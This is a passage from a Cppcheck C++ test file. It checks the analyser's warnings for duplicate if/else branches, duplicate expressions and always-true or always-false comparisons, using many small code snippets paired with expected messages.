\"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. 